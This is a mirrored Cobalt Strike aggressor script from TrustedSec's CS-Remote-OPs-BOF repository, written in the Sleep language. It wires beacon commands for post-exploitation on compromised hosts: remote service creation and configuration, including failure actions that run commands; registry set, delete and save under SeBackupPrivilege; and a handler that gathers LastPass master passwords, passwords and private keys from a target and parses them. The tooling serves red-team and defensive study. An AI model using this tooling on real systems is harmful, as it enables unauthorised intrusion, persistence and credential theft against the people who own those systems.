mirror of
https://github.com/trustedsec/CS-Remote-OPs-BOF
synced 2026-06-08 17:56:11 +00:00
2237 lines
67 KiB
Plaintext
2237 lines
67 KiB
Plaintext
########################################
|
|
# Enumerations
|
|
########################################
|
|
|
|
%reghives = %(
|
|
HKCR => 0,
|
|
HKCU => 1,
|
|
HKLM => 2,
|
|
HKU => 3
|
|
);
|
|
#sleep can't handle the actual values... so we'll just add them on the c side :(
|
|
|
|
%regtypes = %(
|
|
REG_SZ => 1,
|
|
REG_EXPAND_SZ => 2,
|
|
REG_BINARY => 3,
|
|
REG_DWORD => 4,
|
|
REG_MULTI_SZ => 7,
|
|
REG_QWORD => 11
|
|
);
|
|
|
|
%inttypes = %(
|
|
REG_DWORD => 1,
|
|
REG_QWORD => 1
|
|
);
|
|
|
|
%servicetypes = %(
|
|
1 => 0x02,
|
|
2 => 0x01,
|
|
3 => 0x10,
|
|
4 => 0x20
|
|
);
|
|
|
|
$id_lastpass = "LASTPASS>>";
|
|
|
|
########################################
|
|
# Helper functions
|
|
########################################
|
|
|
|
#readbof INPUTFILE
|
|
sub readbof
|
|
{
|
|
local('$barch $bof_filename $handle $data $args');
|
|
$barch = barch($1);
|
|
|
|
# read in the right BOF file
|
|
$bof_filename = script_resource("$2 $+ / $+ $2 $+ . $+ $barch $+ .o");
|
|
println("Loading $bof_filename");
|
|
$handle = openf($bof_filename);
|
|
$data = readb($handle, -1);
|
|
closef($handle);
|
|
if(strlen($data) == 0)
|
|
{
|
|
berror($1, "Could not read BOF file: $bof_filename");
|
|
}
|
|
|
|
btask($1, "Loaded $2 for $barch");
|
|
return $data;
|
|
}
|
|
|
|
#random_string
|
|
sub random_string
|
|
{
|
|
$limit = $1;
|
|
@random_str = @();
|
|
$characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
for ($x = 0; $x < $limit; $x++) {
|
|
$n = rand(strlen($characters));
|
|
add(@random_str, charAt($characters, $n));
|
|
}
|
|
return join('', @random_str);
|
|
};
|
|
|
|
# subrotine to parse options for script.
|
|
# Returns options as a hash
|
|
sub ops {
|
|
local('$count');
|
|
$count = 0;
|
|
%arguments = ohash();
|
|
foreach $arg ($1) {
|
|
if ($count > 0) {
|
|
if ($arg ismatch '/.*:.*') {
|
|
$arg = replace($arg, '\A/',"");
|
|
($key, $val) = split(":", $arg, 2);
|
|
%arguments[$key] = $val;
|
|
}
|
|
else if ($arg ismatch '/.*') {
|
|
$arg = replace($arg, '\A/',"");
|
|
%arguments[$arg] = "TRUE";
|
|
}
|
|
else {
|
|
%arguments["$count"] = $arg;
|
|
}
|
|
}
|
|
$count = $count + 1;
|
|
}
|
|
return (%arguments);
|
|
}
|
|
|
|
########################################
|
|
# Service Control functions
|
|
########################################
|
|
|
|
# sc_description [SVCNAME] [DESCRIPTION] [OPT:HOSTNAME]
|
|
alias sc_description
|
|
{
|
|
local('$hostname $servicename $args $desc');
|
|
|
|
if(size(@_) == 3)
|
|
{
|
|
$servicename = $2;
|
|
$desc = $3;
|
|
$hostname = $null;
|
|
}
|
|
else if (size(@_) == 4)
|
|
{
|
|
$servicename = $2;
|
|
$desc = $3;
|
|
$hostname = $4;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("sc_description"));
|
|
return;
|
|
}
|
|
|
|
$args = bof_pack($1, "zzz", $hostname, $servicename, $desc);
|
|
beacon_inline_execute($1, readbof($1, "sc_description"), "go", $args);
|
|
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_description",
|
|
"Sets the description of an existing service",
|
|
"
|
|
Command: sc_description
|
|
Summary: This command sets the description of an existing service on the target
|
|
host.
|
|
Usage: sc_description [SVCNAME] [DESCRIPTION] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to create.
|
|
DESCRIPTION Required. The description of the service.
|
|
HOSTNAME Optional. The host to connect to and run the commnad on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
#sc_config [SVCNAME] [BINPATH] [ERRORMODE] [STARTMODE] [OPT:HOSTNAME]
|
|
sub bsc_config
|
|
{
|
|
local('$hostname $servicename $binpath $errormode $startmode $bid $args');
|
|
$bid = $1;
|
|
$servicename = $2;
|
|
$binpath = $3;
|
|
$errormode = $4;
|
|
$startmode = $5;
|
|
$hostname = $6;
|
|
try {
|
|
$junk = parseNumber($errormode, 10);
|
|
$junk = parseNumber($startmode, 10);
|
|
} catch $msg{
|
|
berror($bid, beacon_command_detail('sc_config'));
|
|
berror($bid, "either ignore or startmode is not a proper number");
|
|
return;
|
|
}
|
|
if (($errormode < 0) || ($errormode > 3))
|
|
{
|
|
berror($bid, beacon_command_detail('sc_config'));
|
|
berror($bid, "ignore is not a valid value");
|
|
return;
|
|
}
|
|
if (($startmode < 2) || ($startmode > 4))
|
|
{
|
|
berror($bid, beacon_command_detail('sc_config'));
|
|
berror($bid, "startmode is not a valid value");
|
|
return;
|
|
}
|
|
$args = bof_pack($bid, "zzzss", $hostname, $servicename, $binpath, $errormode, $startmode);
|
|
beacon_inline_execute($bid, readbof($1, "sc_config"), "go", $args);
|
|
|
|
}
|
|
|
|
#sc_config [SVCNAME] [BINPATH] [ERRORMODE] [STARTMODE] [OPT:HOSTNAME]
|
|
alias sc_config
|
|
{
|
|
local('$hostname $servicename $binpath $ignore $startmode $junk');
|
|
|
|
if (size(@_) == 5)
|
|
{
|
|
$servicename = $2;
|
|
$binpath = $3;
|
|
$ignore = $4;
|
|
$startmode = $5;
|
|
$hostname = $null;
|
|
}
|
|
else if(size(@_) == 6)
|
|
{
|
|
$servicename = $2;
|
|
$binpath = $3;
|
|
$ignore = $4;
|
|
$startmode = $5;
|
|
$hostname = $6;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail('sc_config'));
|
|
return;
|
|
}
|
|
bsc_config($1, $servicename, $binpath, $ignore, $startmode, $hostname);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_config",
|
|
"Configures an existing service",
|
|
"
|
|
Command: sc_config
|
|
Summary: This command configures an existing service on the target host.
|
|
Usage: sc_config [SVCNAME] [BINPATH] [ERRORMODE] [STARTMODE] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to create.
|
|
BINPATH Required. The binary path of the service to execute.
|
|
ERRORMODE Required. The error mode of the service. The valid
|
|
options are:
|
|
0 - ignore errors
|
|
1 - normal logging
|
|
2 - log severe errors
|
|
3 - log critical errors
|
|
STARTMODE Required. The start mode for the service. The valid
|
|
options are:
|
|
2 - auto start
|
|
3 - on demand start
|
|
4 - disabled
|
|
HOSTNAME Optional. The host to connect to and run the commnad on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
#sc_failure [SVCNAME] [RESETPERIOD] [REBOOTMESSAGE] [COMMAND] [NUMACTIONS] [ACTIONS] [OPT:HOSTNAME]
|
|
sub bsc_failure
|
|
{
|
|
local('$hostname $servicename $resetperiod $rebootmessage $command $numactions $actions $bid $args');
|
|
$bid = $1;
|
|
$servicename = $2;
|
|
$resetperiod = $3;
|
|
$rebootmessage = $4;
|
|
$command = $5;
|
|
$numactions = $6;
|
|
$actions = $7;
|
|
$hostname = $8;
|
|
$args = bof_pack($bid, "zzizzsz", $hostname, $servicename, $resetperiod, $rebootmessage, $command, $numactions, $actions);
|
|
beacon_inline_execute($bid, readbof($1, "sc_failure"), "go", $args);
|
|
}
|
|
|
|
#sc_failure [SVCNAME] [RESETPERIOD] [REBOOTMESSAGE] [COMMAND] [NUMACTIONS] [ACTIONS] [OPT:HOSTNAME]
|
|
alias sc_failure
|
|
{
|
|
local('$hostname $servicename $resetperiod $rebootmessage $command $numactions $actions $junk');
|
|
|
|
if (size(@_) == 7)
|
|
{
|
|
$servicename = $2;
|
|
$resetperiod = $3;
|
|
$rebootmessage = $4;
|
|
$command = $5;
|
|
$numactions = $6;
|
|
$actions = $7;
|
|
$hostname = $null;
|
|
}
|
|
else if(size(@_) == 8)
|
|
{
|
|
$servicename = $2;
|
|
$resetperiod = $3;
|
|
$rebootmessage = $4;
|
|
$command = $5;
|
|
$numactions = $6;
|
|
$actions = $7;
|
|
$hostname = $8;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail('sc_failure'));
|
|
return;
|
|
}
|
|
bsc_failure($1, $servicename, $resetperiod, $rebootmessage, $command, $numactions, $actions, $hostname);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_failure",
|
|
"Changes the actions upon failure",
|
|
"
|
|
Command: sc_failure
|
|
Summary: This command configures the actions upon failure of an existing service on the target host.
|
|
Usage: sc_failure [SVCNAME] [RESETPERIOD] [REBOOTMESSAGE] [COMMAND] [NUMACTIONS] [ACTIONS] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to create.
|
|
RESETPERIOD Required. Length of period of no failures (in seconds)
|
|
after which to reset the failure count to 0 (may be INFINITE)
|
|
(Must be used in conjunction with ACTIONS )
|
|
REBOOTMESSAGE Message broadcast before rebooting on failure. (NULL = \"\")
|
|
COMMAND Command line to be run on failure. (NULL = \"\")
|
|
NUMACTIONS How many actions to be configured -- e.g., 3/5000/2/800 is <2> actions
|
|
ACTIONS Failure actions and their delay time (in milliseconds),
|
|
separated by / (forward slash) -- e.g., 3/5000/2/800
|
|
Valid actions are:
|
|
0 - No action
|
|
1 - Restart the service
|
|
2 - Reboot the computer
|
|
3 - Run a command
|
|
(Must be used in conjunction with the RESETPERIOD option) (NULL = \"\")
|
|
HOSTNAME Optional. The host to connect to and run the commnad on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
sub bsc_create
|
|
{
|
|
local('$hostname $servicetype $servicename $binpath $errormode $startmode $junk $desc $displayname $bid $args');
|
|
$bid = $1;
|
|
$servicename = $2;
|
|
$displayname = $3;
|
|
$binpath = $4;
|
|
$desc = $5;
|
|
$errormode = $6;
|
|
$startmode = $7;
|
|
$servicetype = $8;
|
|
$hostname = $9;
|
|
|
|
try {
|
|
$junk = parseNumber($errormode, 10);
|
|
$junk = parseNumber($startmode, 10);
|
|
} catch $msg{
|
|
berror($bid, beacon_command_detail('sc_create'));
|
|
berror($bid, "either errormode or startmode is not a proper number");
|
|
return;
|
|
}
|
|
if (($errormode < 0) || ($errormode > 3))
|
|
{
|
|
berror($bid, beacon_command_detail('sc_create'));
|
|
berror($bid, "errormode is not a valid value");
|
|
return;
|
|
}
|
|
if (($startmode < 2) || ($startmode > 4))
|
|
{
|
|
berror($bid, beacon_command_detail('sc_create'));
|
|
berror($bid, "startmode is not a valid value");
|
|
return;
|
|
}
|
|
|
|
$args = bof_pack($bid, "zzzzzsss", $hostname, $servicename, $binpath, $displayname, $desc, $errormode, $startmode, $servicetype);
|
|
beacon_inline_execute($bid, readbof($bid, "sc_create"), "go", $args);
|
|
}
|
|
|
|
|
|
#sc_create [SVCNAME] [DISPLAYNAME] [BINPATH] [DESCRIPTION] [ERRORMODE] [STARTMODE] [OPT:TYPE] [OPT:HOSTNAME]
|
|
alias sc_create
|
|
{
|
|
local('$servicetype $hostname $servicename $binpath $ignore $startmode $junk $desc $displayname');
|
|
|
|
if (size(@_) == 7)
|
|
{
|
|
$servicename = $2;
|
|
$displayname = $3;
|
|
$binpath = $4;
|
|
$desc = $5;
|
|
$ignore = $6;
|
|
$startmode = $7;
|
|
$servicetype = %servicetypes[3];
|
|
$hostname = $null;
|
|
}
|
|
else if(size(@_) == 8)
|
|
{
|
|
$servicename = $2;
|
|
$displayname = $3;
|
|
$binpath = $4;
|
|
$desc = $5;
|
|
$ignore = $6;
|
|
$startmode = $7;
|
|
if ($8 in %servicetypes)
|
|
{
|
|
$servicetype = %servicetypes[$8];
|
|
}
|
|
else
|
|
{
|
|
berror($1, "invalid service type index");
|
|
return;
|
|
}
|
|
$hostname = $null;
|
|
}
|
|
else if(size(@_) == 9)
|
|
{
|
|
$servicename = $2;
|
|
$displayname = $3;
|
|
$binpath = $4;
|
|
$desc = $5;
|
|
$ignore = $6;
|
|
$startmode = $7;
|
|
if ($8 in %servicetypes)
|
|
{
|
|
$servicetype = %servicetypes[$8];
|
|
}
|
|
else
|
|
{
|
|
berror($1, "invalid service type index");
|
|
return;
|
|
}
|
|
$hostname = $9;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail('sc_create'));
|
|
return;
|
|
}
|
|
|
|
bsc_create($1, $servicename, $displayname, $binpath, $desc, $ignore, $startmode, $servicetype, $hostname);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_create",
|
|
"Creates a new service",
|
|
"
|
|
Command: sc_create
|
|
Summary: This command creates a service on the target host.
|
|
Usage: sc_create [SVCNAME] [DISPLAYNAME] [BINPATH] [DESCRIPTION] [ERRORMODE] [STARTMODE] [OPT:TYPE] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to create.
|
|
DISPLAYNAME Required. The display name of the service.
|
|
BINPATH Required. The binary path of the service to execute.
|
|
DESCRIPTION Required. The description of the service.
|
|
ERRORMODE Required. The error mode of the service. The valid
|
|
options are:
|
|
0 - ignore errors
|
|
1 - nomral logging
|
|
2 - log severe errors
|
|
3 - log critical errors
|
|
STARTMODE Required. The start mode for the service. The valid
|
|
options are:
|
|
2 - auto start
|
|
3 - on demand start
|
|
4 - disabled
|
|
TYPE Optional. The type of service to create. The valid
|
|
options are:
|
|
1 - SERVICE_FILE_SYSTEM_DRIVER (File system driver service)
|
|
2 - SERVICE_KERNEL_DRIVER (Driver service)
|
|
3 - SERVICE_WIN32_OWN_PROCESS (Service that runs in its own process) <-- Default
|
|
4 - SERVICE_WIN32_SHARE_PROCESS (Service that shares a process with one or more other services)
|
|
HOSTNAME Optional. The host to connect to and run the commnad on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
|
|
#sc_delete [SVCNAME] [OPT:HOSTNAME]
|
|
alias sc_delete
|
|
{
|
|
local('$hostname $servicename $args');
|
|
|
|
|
|
if(size(@_) == 2)
|
|
{
|
|
$servicename = $2;
|
|
$hostname = $null;
|
|
}
|
|
else if (size(@_) == 3)
|
|
{
|
|
$servicename = $2;
|
|
$hostname = $3;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("sc_delete"));
|
|
return;
|
|
}
|
|
|
|
|
|
$args = bof_pack($1, "zz", $hostname, $servicename);
|
|
beacon_inline_execute($1, readbof($1, "sc_delete"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_delete",
|
|
"Deletes a service",
|
|
"
|
|
Command: sc_delete
|
|
Summary: This command deletes the specified service on the target host.
|
|
Usage: sc_delete [SVCNAME] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to delete.
|
|
HOSTNAME Optional. The host to connect to and run the commnad on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
sub bsc_stop
|
|
{
|
|
local('$hostname $servicename $args $bid');
|
|
$bid = $1;
|
|
$servicename = $2;
|
|
$hostname = $3;
|
|
|
|
$args = bof_pack($1, "zz", $hostname, $servicename);
|
|
beacon_inline_execute($1, readbof($1, "sc_stop"), "go", $args);
|
|
}
|
|
|
|
#sc_stop [SVCNAME] [OPT:HOSTNAME]
|
|
alias sc_stop
|
|
{
|
|
local('$hostname $servicename $args');
|
|
|
|
|
|
if(size(@_) == 2)
|
|
{
|
|
$servicename = $2;
|
|
$hostname = $null;
|
|
}
|
|
else if (size(@_) == 3)
|
|
{
|
|
$servicename = $2;
|
|
$hostname = $3;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("sc_stop"));
|
|
return;
|
|
}
|
|
bsc_stop($1, $servicename, $hostname);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_stop",
|
|
"Stops a service",
|
|
"
|
|
Command: sc_stop
|
|
Summary: This command stops the specified service on the target host.
|
|
Usage: sc_stop [SVCNAME] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to stop.
|
|
HOSTNAME Optional. The host to connect to and run the commnad on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
sub bsc_start
|
|
{
|
|
local('$bid $hostname $servicename $args');
|
|
$bid = $1;
|
|
$servicename = $2;
|
|
$hostname = $3;
|
|
$args = bof_pack($bid, "zz", $hostname, $servicename);
|
|
beacon_inline_execute($bid, readbof($bid, "sc_start"), "go", $args);
|
|
}
|
|
|
|
|
|
#sc_start [SVCNAME] [OPT:HOSTNAME]
|
|
alias sc_start
|
|
{
|
|
local('$hostname $servicename $args');
|
|
|
|
|
|
if(size(@_) == 2)
|
|
{
|
|
$servicename = $2;
|
|
$hostname = $null;
|
|
}
|
|
else if (size(@_) == 3)
|
|
{
|
|
$servicename = $2;
|
|
$hostname = $3;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("sc_start"));
|
|
return;
|
|
}
|
|
|
|
|
|
$args = bof_pack($1, "zz", $hostname, $servicename);
|
|
beacon_inline_execute($1, readbof($1, "sc_start"), "go", $args);
|
|
}
|
|
|
|
beacon_command_register(
|
|
"sc_start",
|
|
"Starts a service",
|
|
"
|
|
Command: sc_start
|
|
Summary: This command starts the specified service on the target host.
|
|
Usage: sc_start [SVCNAME] [OPT:HOSTNAME]
|
|
SVCNAME Required. The name of the service to start.
|
|
HOSTNAME Optional. The host to connect to and run the command on. The
|
|
local system is targeted if a HOSTNAME is not specified.
|
|
"
|
|
);
|
|
|
|
on beacon_output
|
|
{
|
|
local('$beacon $message $id $output $parsed_return_file @cmd $ret $lp_files $parser $returned_len $returned_len $fp');
|
|
|
|
$beacon = $1;
|
|
$message = $2;
|
|
if (strlen($message) > 26) {
|
|
$message = substr($message, 17);
|
|
$id = left($message, 10);
|
|
|
|
if ($id eq $id_lastpass){
|
|
@pid = unpack("I",substr($message,0xc,0x10));
|
|
@type_int = unpack("I",substr($message, 0x10, 0x14));
|
|
@buf_sz = unpack("I",substr($message, 0x14, 0x18));
|
|
|
|
$type = "";
|
|
if (@type_int[0] == 0){
|
|
$type = "JSON";
|
|
}else if (@type_int[0] == 1){
|
|
$type = "PWD_MEM_OBJECT";
|
|
}else if (@type_int[0] == 2){
|
|
$type = "AID";
|
|
}else if (@type_int[0] == 3){
|
|
$type = "NAME";
|
|
}else if (@type_int[0] == 4){
|
|
$type = "USERNAME";
|
|
}else if (@type_int[0] == 5){
|
|
$type = "PASSWORD";
|
|
}else if (@type_int[0] == 6){
|
|
$type = "G_LOCAL_KEY";
|
|
}else if (@type_int[0] == 7){
|
|
$type = "LOCAL_KEY";
|
|
}else if (@type_int[0] == 8){
|
|
$type = "MASTER_PASSWORD";
|
|
}else if (@type_int[0] == 9){
|
|
$type = "USER_CONFIG";
|
|
}else if (@type_int[0] == 10){
|
|
$type = "PRIV_KEY";
|
|
}
|
|
|
|
if (@type_int[0] == 100)
|
|
{
|
|
$parser = script_resource("lastpass/process_lp_files.py");
|
|
$lp_files = script_resource("lastpass");
|
|
$parsed_return_file = script_resource("lastpass/out.txt");
|
|
@cmd = @("python3",$parser, $lp_files);
|
|
$ret = exec( @cmd );
|
|
sleep(1 * 1000);
|
|
blog($beacon, "exec ret: ". readAll($ret). "\n");
|
|
if(-exists $parsed_return_file) {
|
|
$returned_len = lof($parsed_return_file);
|
|
$fp = openf($parsed_return_file);
|
|
$output = readb($fp, $returned_len);
|
|
closef($fp);
|
|
deleteFile($parsed_return_file);
|
|
blog($beacon, "LastPass return value: \n" . $output);
|
|
}else{
|
|
println("Exec failed");
|
|
blog($beacon, "Exec failed");
|
|
}
|
|
} else {
|
|
$lp_filename = script_resource("lastpass/lp_".@pid[0]."_".$type.".txt");
|
|
$handle = openf(">>".$lp_filename);
|
|
print($handle, "<MSG>");
|
|
print($handle, substr($message,0x18));
|
|
println($handle, "</MSG>");
|
|
closef($handle);
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
########################################
|
|
# Registry commands
|
|
########################################
|
|
#yeah I'm not dealing with this one (sub vs alias)
|
|
sub breg_set
|
|
{
|
|
local('$hostname $hive $path $key $type $i $value $packstr $regstr $buffer $fp');
|
|
|
|
$packstr = "zizzi";
|
|
|
|
if(size(@_) < 5)
|
|
{
|
|
berror($1, beacon_command_detail("reg_set"));
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
if($2 in %reghives)
|
|
{
|
|
#targeting local system
|
|
$hostname = $null;
|
|
$i = 1;
|
|
}
|
|
else{
|
|
$hostname = "\\\\" . $2;
|
|
$i = 2;
|
|
}
|
|
if (@_[$i] in %reghives)
|
|
{
|
|
$hive = %reghives[@_[$i]];
|
|
$i++;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("reg_set"));
|
|
berror($1, "Provided registry hive value is invalid");
|
|
return;
|
|
}
|
|
$path = @_[$i];
|
|
$i++;
|
|
$key = @_[$i];
|
|
$i++;
|
|
if( @_[$i] in %regtypes)
|
|
{
|
|
$regstr = @_[$i];
|
|
$type = %regtypes[@_[$i]];
|
|
$i++;
|
|
if ($regstr in %inttypes)
|
|
{
|
|
$packstr = $packstr . "b";
|
|
$value = pack("I-", @_[$i]);
|
|
}
|
|
else if ($regstr eq "REG_MULTI_SZ")
|
|
{
|
|
$packstr = $packstr . "b";
|
|
$buffer = allocate(0);
|
|
for (; $i < size(@_); $i++)
|
|
{
|
|
bwrite($buffer, "z", @_[$i]);
|
|
}
|
|
bwrite($buffer, "z", ""); # null terminator at end
|
|
closef($buffer);
|
|
$value = readb($buffer, -1);
|
|
|
|
}
|
|
else if ($regstr eq "REG_EXPAND_SZ" || $regstr eq "REG_SZ")
|
|
{
|
|
$packstr = $packstr . "z";
|
|
$value = @_[$i];
|
|
}
|
|
else if ($regstr eq "REG_BINARY")
|
|
{
|
|
if (!-canread @_[$i])
|
|
{
|
|
berror($1, "File " . @_[$i] . " Could not be found");
|
|
return;
|
|
}
|
|
$fp = openf(@_[$i]);
|
|
$value = readb($fp, -1);
|
|
$packstr = $packstr . "b";
|
|
closef($fp);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("reg_set"));
|
|
berror($1, "Provided registry type value is invalid");
|
|
return;
|
|
}
|
|
$args = bof_pack($1, $packstr, $hostname, $hive, $path, $key, $type, $value);
|
|
|
|
beacon_inline_execute($1, readbof($1, "reg_set"), "go", $args);
|
|
}
|
|
}
|
|
|
|
#reg_set reg_set [OPT:HOSTNAME] [HIVE] [KEY] [VALUE] [TYPE] [DATA]
|
|
alias reg_set
|
|
{
|
|
# I need hostname Hive, path, key type value(s)
|
|
# test if val in pos 1 is in Hive, if not, then assume it is a hostname
|
|
# values at end, if multisz pack them using a variable bof string
|
|
|
|
local('$hostname $hive $path $key $type $i $value $packstr $regstr $buffer $fp');
|
|
|
|
$packstr = "zizzi";
|
|
|
|
if(size(@_) < 5)
|
|
{
|
|
berror($1, beacon_command_detail("reg_set"));
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
if($2 in %reghives)
|
|
{
|
|
#targeting local system
|
|
$hostname = $null;
|
|
$i = 1;
|
|
}
|
|
else{
|
|
$hostname = "\\\\" . $2;
|
|
$i = 2;
|
|
}
|
|
if (@_[$i] in %reghives)
|
|
{
|
|
$hive = %reghives[@_[$i]];
|
|
$i++;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("reg_set"));
|
|
berror($1, "Provided registry hive value is invalid");
|
|
return;
|
|
}
|
|
$path = @_[$i];
|
|
$i++;
|
|
$key = @_[$i];
|
|
$i++;
|
|
if( @_[$i] in %regtypes)
|
|
{
|
|
$regstr = @_[$i];
|
|
$type = %regtypes[@_[$i]];
|
|
$i++;
|
|
if ($regstr in %inttypes)
|
|
{
|
|
$packstr = $packstr . "b";
|
|
$value = pack("I-", @_[$i]);
|
|
}
|
|
else if ($regstr eq "REG_MULTI_SZ")
|
|
{
|
|
$packstr = $packstr . "b";
|
|
$buffer = allocate(0);
|
|
for (; $i < size(@_); $i++)
|
|
{
|
|
bwrite($buffer, "z", @_[$i]);
|
|
}
|
|
bwrite($buffer, "z", ""); # null terminator at end
|
|
closef($buffer);
|
|
$value = readb($buffer, -1);
|
|
|
|
}
|
|
else if ($regstr eq "REG_EXPAND_SZ" || $regstr eq "REG_SZ")
|
|
{
|
|
$packstr = $packstr . "z";
|
|
$value = @_[$i];
|
|
}
|
|
else if ($regstr eq "REG_BINARY")
|
|
{
|
|
if (!-canread @_[$i])
|
|
{
|
|
berror($1, "File " . @_[$i] . " Could not be found");
|
|
return;
|
|
}
|
|
$fp = openf(@_[$i]);
|
|
$value = readb($fp, -1);
|
|
$packstr = $packstr . "b";
|
|
closef($fp);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("reg_set"));
|
|
berror($1, "Provided registry type value is invalid");
|
|
return;
|
|
}
|
|
$args = bof_pack($1, $packstr, $hostname, $hive, $path, $key, $type, $value);
|
|
|
|
beacon_inline_execute($1, readbof($1, "reg_set"), "go", $args);
|
|
}
|
|
}
|
|
|
|
beacon_command_register(
|
|
"reg_set",
|
|
"Creates or sets a registry key or value",
|
|
"
|
|
Command: reg_set
|
|
Summary: This command creates or sets the specified registry key (or value) on
|
|
the target host.
|
|
Usage: reg_set reg_set [OPT:HOSTNAME] [HIVE] [KEY] [VALUE] [TYPE] [DATA]
|
|
HOSTNAME Optional. The host to connect to and run the commnad on.
|
|
HIVE Required. The registry hive containing the REGPATH. Possible
|
|
values:
|
|
HKLM
|
|
HKCU
|
|
HKU
|
|
HKCR
|
|
KEY Required. The registry path.
|
|
VALUE Required. The value name. If you want to create/set the
|
|
default key, use \"\".
|
|
TYPE Required. The type of registry value to create/set. The valid
|
|
options are:
|
|
REG_SZ
|
|
REG_EXPAND_SZ
|
|
REG_BINARY
|
|
REG_DWORD
|
|
REG_MULTI_SZ
|
|
REG_QWORD
|
|
DATA Required. The data to store in the registry value.
|
|
Note: For REG_BINARY, the VALUE must be the name of a file on disk which will
|
|
read in and its contents used.
|
|
Note: For REG_MULTI_SZ, the VALUE must be specified as a space separated list
|
|
of quoted strings.
|
|
Note: For REG_QWORD, the VALUE must be less than a DWORD (due to limitation of
|
|
sleep language).
|
|
"
|
|
);
|
|
|
|
|
|
#reg_delete [OPT:HOSTNAME] [HIVE] [REGPATH] [OPT:REGVALUE]
|
|
alias reg_delete
|
|
{
|
|
# I need hostname Hive, path, key type value(s)
|
|
# test if val in pos 1 is in Hive, if not, then assume it is a hostname
|
|
# values at end, if multisz pack them using a variable bof string
|
|
|
|
local('$hostname $hive $path $key $i $delkey');
|
|
|
|
if(size(@_) < 3)
|
|
{
|
|
berror($1, beacon_command_detail("reg_delete"));
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
if($2 in %reghives)
|
|
{
|
|
#targeting local system
|
|
$hostname = $null;
|
|
$i = 1;
|
|
}
|
|
else
|
|
{
|
|
$hostname = "\\\\" . $2;
|
|
$i = 2;
|
|
}
|
|
if (@_[$i] in %reghives)
|
|
{
|
|
$hive = %reghives[@_[$i]];
|
|
$i++;
|
|
}
|
|
else
|
|
{
|
|
berror($1, beacon_command_detail("reg_delete"));
|
|
berror($1, "Provided registry hive value is invalid");
|
|
return;
|
|
}
|
|
$path = @_[$i];
|
|
$i++;
|
|
if($i < size(@_))
|
|
{
|
|
$delkey = 0;
|
|
$key = @_[$i];
|
|
println("set subkey value to delete to $key");
|
|
}
|
|
else
|
|
{
|
|
$delkey = 1;
|
|
$key = "";
|
|
}
|
|
|
|
$args = bof_pack($1, "zizzi", $hostname, $hive, $path, $key, $delkey);
|
|
beacon_inline_execute($1, readbof($1, "reg_delete"), "go", $args);
|
|
}
|
|
}
|
|
|
|
beacon_command_register(
|
|
"reg_delete",
|
|
"Deletes the registry key or value",
|
|
"
|
|
Command: reg_delete
|
|
Summary: This command deletes the specified registry key (or value) on the
|
|
target host.
|
|
Usage: reg_delete [OPT:HOSTNAME] [HIVE] [REGPATH] [OPT:REGVALUE]
|
|
HOSTNAME Optional. The host to connect to and run the commnad on.
|
|
HIVE Required. The registry hive containing the REGPATH. Possible
|
|
values:
|
|
HKLM
|
|
HKCU
|
|
HKU
|
|
HKCR
|
|
REGPATH Required. The registry path (deleted if value not given).
|
|
REGVALUE Optional. The registry value to delete. If the value is not
|
|
specified, then the whole key is deleted. If you want to
|
|
delete the default key, use \"\" as the REGVALUE.
|
|
"
|
|
);
|
|
|
|
|
|
#reg_save [HIVE] [REGPATH] [FILEOUT]
|
|
alias reg_save
|
|
{
|
|
if(size(@_) != 4)
|
|
{
|
|
berror($1, beacon_command_detail("reg_save"));
|
|
return;
|
|
}
|
|
else
|
|
{
|
|
breg_save($1, $2, $3, $4);
|
|
}
|
|
}
|
|
|
|
sub breg_save
|
|
{
|
|
local('$hive $regpath $output $i');
|
|
|
|
$hive = %reghives[$2];
|
|
$regpath = $3;
|
|
$output = $4;
|
|
|
|
blog($1, "Requesting to backup privileges");
|
|
bgetprivs($1, "SeBackupPrivilege");
|
|
|
|
blog($1, "Attempting to save registry key $2\\$regpath to location $output");
|
|
$args = bof_pack($1, "zzi", $regpath, $output, $hive);
|
|
beacon_inline_execute($1, readbof($1, "reg_save"), "go", $args);
|
|
|
|
}
|
|
|
|
beacon_command_register(
|
|
"reg_save",
|
|
"Saves the registry path and all subkeys to disk",
|
|
"
|
|
Command: reg_save
|
|
Summary: This command saves the specified registry path (and all subkeys) to a
|
|
file on the target system.
|
|
Usage: reg_save [HIVE] [REGPATH] [FILEOUT]
|
|
HIVE Required. The registry hive containing the REGPATH. Possible
|
|
values:
|
|
HKLM
|
|
HKCU
|
